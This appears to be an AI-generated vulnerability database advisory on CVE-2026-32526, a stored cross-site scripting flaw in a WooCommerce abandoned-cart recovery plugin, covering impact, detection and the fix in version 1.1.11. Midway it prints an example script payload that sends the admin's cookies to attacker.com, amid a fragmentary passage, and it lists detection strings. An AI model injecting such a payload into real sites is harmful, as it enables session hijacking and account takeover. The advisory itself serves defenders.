
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-32526 is a Stored Cross-Site Scripting (XSS) vulnerability in the VillaTheme "Abandoned Cart Recovery for WooCommerce" WordPress plugin. It affects all versions up to and including 1.1.10, and was reported by researcher Nguyen Ba Khanh on January 28, 2026, with public disclosure on March 20–25, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack, Feedly).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the stored variant. The plugin fails to properly sanitize and escape user-supplied input before storing and rendering it in web pages, allowing an unauthenticated attacker to inject malicious JavaScript or HTML payloads into fields processed by the abandoned cart recovery workflow. When a privileged user (e.g., a WooCommerce store administrator) subsequently views the affected data, the stored script executes in their browser context. No authentication is required to submit the malicious input, though user interaction from a privileged party is needed for the payload to trigger (Patchstack).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any privileged user who views the poisoned data in the WordPress/WooCommerce admin panel. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of the storefront. Given the plugin's role in handling customer cart and contact data, sensitive customer information may also be exposed (Patchstack).
The vulnerability requires no authentication to inject the malicious payload, but does require a privileged user to interact with the affected admin interface for the payload to execute (user interaction required, scope changed). The EPSS score is approximately 0.033% (0.000330), indicating a currently low probability of active exploitation. No in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been reported. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack, Feedly).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in an input field that the plugin stores without proper sanitization, such as a name or custom field captured during the cart abandonment flow.<script>, %3Cscript%3E, javascript:) in customer-facing form fields; admin panel access logs showing the abandoned cart management page being loaded followed by anomalous external requests.Update the "Abandoned Cart Recovery for WooCommerce" plugin to version 1.1.11 or later, which contains the fix for this vulnerability. If an immediate update is not possible, Patchstack has issued a virtual patching/mitigation rule for its subscribers to block exploit attempts until the plugin is updated. Site owners should also review stored abandoned cart records for suspicious content and audit admin accounts for unauthorized changes (Patchstack).
Wordfence included this vulnerability in its weekly WordPress vulnerability report for the period of March 16–22, 2026, highlighting it as part of broader WordPress plugin security coverage (Wordfence). Patchstack, which coordinated disclosure through its Active VDP program, characterized the vulnerability as moderately dangerous and noted its potential for use in mass-exploit campaigns targeting WordPress sites (Patchstack).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."